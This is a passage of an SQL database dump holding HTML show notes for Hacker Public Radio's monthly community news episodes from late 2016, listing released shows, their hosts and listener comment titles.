target=\"_blank\">hpr2141</a></strong>\n(2016-10-17) \"<em>Make Web Python with Flask</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2141#1\" target=\"_blank\">Comment 1</a>:\nShortFatBaldGuy on 2016-10-17:\n\"Great podcast\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2141#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-10-17:\n\"No Thanks \"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2141#3\" target=\"_blank\">Comment 3</a>:\nJONATHAN KULP on 2016-10-17:\n\"Seriously though...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2141#4\" target=\"_blank\">Comment 4</a>:\nb-yeezi on 2016-10-18:\n\"Give bottle a try\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2141#5\" target=\"_blank\">Comment 5</a>:\nKlaatu on 2016-10-20:\n\"Cheers\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2143#comments\" target=\"_blank\">hpr2143</a></strong>\n(2016-10-19) \"<em>Gnu Awk - Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2143#1\" target=\"_blank\">Comment 1</a>:\nBambiker on 2016-10-25:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2143#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-10-26:\n\"grep and awk\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2145#comments\" target=\"_blank\">hpr2145</a></strong>\n(2016-10-21) \"<em>Daily notes and todo list with markdown</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2145#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-10-20:\n\"Love this Idea\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2145#2\" target=\"_blank\">Comment 2</a>:\nFin on 2016-10-24:\n\"Nice! Licence?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2145#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2016-10-25:\n\"Version with copyright notice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2146#comments\" target=\"_blank\">hpr2146</a></strong>\n(2016-10-24) \"<em>Cards Against Humanity Tabletop Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2146#1\" target=\"_blank\">Comment 1</a>:\nspaceman on 2016-10-24:\n\"lulz\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2146#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2016-10-25:\n\"Bees?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2150#comments\" target=\"_blank\">hpr2150</a></strong>\n(2016-10-28) \"<em>Apollo Guidance Computer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2150#1\" target=\"_blank\">Comment 1</a>:\nMikael on 2016-10-29:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2150#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2016-10-30:\n\"Superb interview\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2150#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2016-10-30:\n\"Fantastic Interview!!\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2176,'2016-12-05','HPR Community News for November 2016',4692,'HPR Community News for November 2016','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill \"NFMZ1\" Miller</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2152\" target=\"_blank\">2152</a></strong></td>\n    <td>Tue</td>\n    <td>2016-11-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2152\" target=\"_blank\">Apples to Apples Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2153\" target=\"_blank\">2153</a></strong></td>\n    <td>Wed</td>\n    <td>2016-11-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2153\" target=\"_blank\">Splitting a Block of Bees Wax</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2154\" target=\"_blank\">2154</a></strong></td>\n    <td>Thu</td>\n    <td>2016-11-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2154\" target=\"_blank\">Replacing a Bicycle Brake Cable</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2155\" target=\"_blank\">2155</a></strong></td>\n    <td>Fri</td>\n    <td>2016-11-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2155\" target=\"_blank\">Ohio LinuxFest 2016</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2156\" target=\"_blank\">2156</a></strong></td>\n    <td>Mon</td>\n    <td>2016-11-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2156\" target=\"_blank\">HPR Community News for October 2016</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2157\" target=\"_blank\">2157</a></strong></td>\n    <td>Tue</td>\n    <td>2016-11-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2157\" target=\"_blank\">BarCamp Manchester part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2158\" target=\"_blank\">2158</a></strong></td>\n    <td>Wed</td>\n    <td>2016-11-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2158\" target=\"_blank\">Art Club</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2159\" target=\"_blank\">2159</a></strong></td>\n    <td>Thu</td>\n    <td>2016-11-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2159\" target=\"_blank\">Coup Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2160\" target=\"_blank\">2160</a></strong></td>\n    <td>Fri</td>\n    <td>2016-11-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2160\" target=\"_blank\">An Audio Illustration Tying the Bowline Knot</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2161\" target=\"_blank\">2161</a></strong></td>\n    <td>Mon</td>\n    <td>2016-11-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2161\" target=\"_blank\">What\'s in my freezer?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=283\" target=\"_blank\">Inscius</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2162\" target=\"_blank\">2162</a></strong></td>\n    <td>Tue</td>\n    <td>2016-11-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2162\" target=\"_blank\">Review/Criticism of Hipp\'s \"Git: Just Say No\"</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2163\" target=\"_blank\">2163</a></strong></td>\n    <td>Wed</td>\n    <td>2016-11-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2163\" target=\"_blank\">Gnu Awk - Part 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2164\" target=\"_blank\">2164</a></strong></td>\n    <td>Thu</td>\n    <td>2016-11-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2164\" target=\"_blank\">Skipbo Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2165\" target=\"_blank\">2165</a></strong></td>\n    <td>Fri</td>\n    <td>2016-11-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2165\" target=\"_blank\">Get the most out of your commute with these great audio suggestions.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2166\" target=\"_blank\">2166</a></strong></td>\n    <td>Mon</td>\n    <td>2016-11-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2166\" target=\"_blank\">How to use a Slide Rule</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2167\" target=\"_blank\">2167</a></strong></td>\n    <td>Tue</td>\n    <td>2016-11-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2167\" target=\"_blank\">Google It</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill &quot;NFMZ1&quot; Miller</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2168\" target=\"_blank\">2168</a></strong></td>\n    <td>Wed</td>\n    <td>2016-11-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2168\" target=\"_blank\">Analogue Random Number Generation</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2169\" target=\"_blank\">2169</a></strong></td>\n    <td>Thu</td>\n    <td>2016-11-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2169\" target=\"_blank\">How I connect to the awesome #oggcastplanet on mobile</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2170\" target=\"_blank\">2170</a></strong></td>\n    <td>Fri</td>\n    <td>2016-11-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2170\" target=\"_blank\">soundtrap.io</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2171\" target=\"_blank\">2171</a></strong></td>\n    <td>Mon</td>\n    <td>2016-11-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2171\" target=\"_blank\">hello world</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2172\" target=\"_blank\">2172</a></strong></td>\n    <td>Tue</td>\n    <td>2016-11-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2172\" target=\"_blank\">Dutch Blitz Table Top Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2173\" target=\"_blank\">2173</a></strong></td>\n    <td>Wed</td>\n    <td>2016-11-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2173\" target=\"_blank\">Driving a Blinkt! as an IoT device</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-November/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 21 comments in total.</p>\n<p>There are 5 comments on\n5 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2130#comments\" target=\"_blank\">hpr2130</a></strong>\n(2016-09-30) \"<em>Git push to two repositories at once</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2130#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2016-11-02:\n\"Thought I&#39;d never use this\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2140#comments\" target=\"_blank\">hpr2140</a></strong>\n(2016-10-14) \"<em>Vim Plugins I Use</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2140#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2016-11-07:\n\"ack.vim\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2145#comments\" target=\"_blank\">hpr2145</a></strong>\n(2016-10-21) \"<em>Daily notes and todo list with markdown</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2145#4\" target=\"_blank\">Comment 4</a>:\nMatt on 2016-11-30:\n\"question about the script\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2148#comments\" target=\"_blank\">hpr2148</a></strong>\n(2016-10-26) \"<em>The DSO138 Oscilloscope Kit Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2148#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2016-11-02:\n\"The real JYE Tech kit\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2150#comments\" target=\"_blank\">hpr2150</a></strong>\n(2016-10-28) \"<em>Apollo Guidance Computer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2150#4\" target=\"_blank\">Comment 4</a>:\nFrank on 2016-11-18:\"[no title]\"</li></ul><br/>\n</li></ul>\n<p>There are 16 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2154#comments\" target=\"_blank\">hpr2154</a></strong>\n(2016-11-03) \"<em>Replacing a Bicycle Brake Cable</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2154#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2016-11-13:\n\"&quot;Sound-seeing&quot;\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2156#comments\" target=\"_blank\">hpr2156</a></strong>\n(2016-11-07) \"<em>HPR Community News for October 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2156#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2016-11-09:\n\"Ear candy\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2156#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-11-09:\n\"Talkin&#39; Purty\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2161#comments\" target=\"_blank\">hpr2161</a></strong>\n(2016-11-14) \"<em>What\'s in my freezer?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=283\" target=\"_blank\">Inscius</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2161#1\" target=\"_blank\">Comment 1</a>:\nthelovebug on 2016-11-14:\n\"Nice!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2161#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2016-11-15:\n\"Green beans\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2163#comments\" target=\"_blank\">hpr2163</a></strong>\n(2016-11-16) \"<em>Gnu Awk - Part 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2163#1\" target=\"_blank\">Comment 1</a>:\nOtto on 2016-11-23:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2163#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-11-27:\n\"Thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2164#comments\" target=\"_blank\">hpr2164</a></strong>\n(2016-11-17) \"<em>Skipbo Tabletop Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2164#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2016-11-18:\n\"Crapette\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2164#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2016-11-18:\n\"Re: Crapette\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2166#comments\" target=\"_blank\">hpr2166</a></strong>\n(2016-11-21) \"<em>How to use a Slide Rule</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2166#1\" target=\"_blank\">Comment 1</a>:\nchalkahlom on 2016-11-25:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2166#2\" target=\"_blank\">Comment 2</a>:\nSteve Smethurst on 2016-11-25:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2166#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-11-27:\n\"Thanks!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2169#comments\" target=\"_blank\">hpr2169</a></strong>\n(2016-11-24) \"<em>How I connect to the awesome #oggcastplanet on mobile</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2169#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2016-11-06:\n\"More discussion and XMPP\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2170#comments\" target=\"_blank\">hpr2170</a></strong>\n(2016-11-25) \"<em>soundtrap.io</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2170#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-11-25:\n\"Sound trap IO, a different application?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2170#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2016-11-30:\n\"Very Interesting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2171#comments\" target=\"_blank\">hpr2171</a></strong>\n(2016-11-28) \"<em>hello world</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2171#1\" target=\"_blank\">Comment 1</a>:\nAmy on 2016-11-28:\n\"HACK\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2196,'2017-01-02','HPR Community News for December 2016',5343,'HPR Volunteers talk about shows released and comments posted in December 2016','\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2174\" target=\"_blank\">2174</a></strong></td>\n    <td>Thu</td>\n    <td>2016-12-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2174\" target=\"_blank\">Dungeoneer Tabletop Game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2175\" target=\"_blank\">2175</a></strong></td>\n    <td>Fri</td>\n    <td>2016-12-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2175\" target=\"_blank\">Kdenlive Part 4 Colour Correction</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2176\" target=\"_blank\">2176</a></strong></td>\n    <td>Mon</td>\n    <td>2016-12-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2176\" target=\"_blank\">HPR Community News for November 2016</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2177\" target=\"_blank\">2177</a></strong></td>\n    <td>Tue</td>\n    <td>2016-12-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2177\" target=\"_blank\">Knowledge Interconnection, the thai express hack</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2178\" target=\"_blank\">2178</a></strong></td>\n    <td>Wed</td>\n    <td>2016-12-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2178\" target=\"_blank\">Dice Mixer</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2179\" target=\"_blank\">2179</a></strong></td>\n    <td>Thu</td>\n    <td>2016-12-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2179\" target=\"_blank\">Mail to myself@myfirstemployment, Part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2180\" target=\"_blank\">2180</a></strong></td>\n    <td>Fri</td>\n    <td>2016-12-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2180\" target=\"_blank\">Mail to myself@myfirstemployment, Part 2 of 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2181\" target=\"_blank\">2181</a></strong></td>\n    <td>Mon</td>\n    <td>2016-12-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2181\" target=\"_blank\">Install OpenBSD from Linux using Grub</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2182\" target=\"_blank\">2182</a></strong></td>\n    <td>Tue</td>\n    <td>2016-12-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2182\" target=\"_blank\">why say GNU/Linux ?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2183\" target=\"_blank\">2183</a></strong></td>\n    <td>Wed</td>\n    <td>2016-12-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2183\" target=\"_blank\">Data Privacy: Farlands or bust</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill &quot;NFMZ1&quot; Miller</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2184\" target=\"_blank\">2184</a></strong></td>\n    <td>Thu</td>\n    <td>2016-12-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2184\" target=\"_blank\">Gnu Awk - Part 5</a></td>\n    <td><a 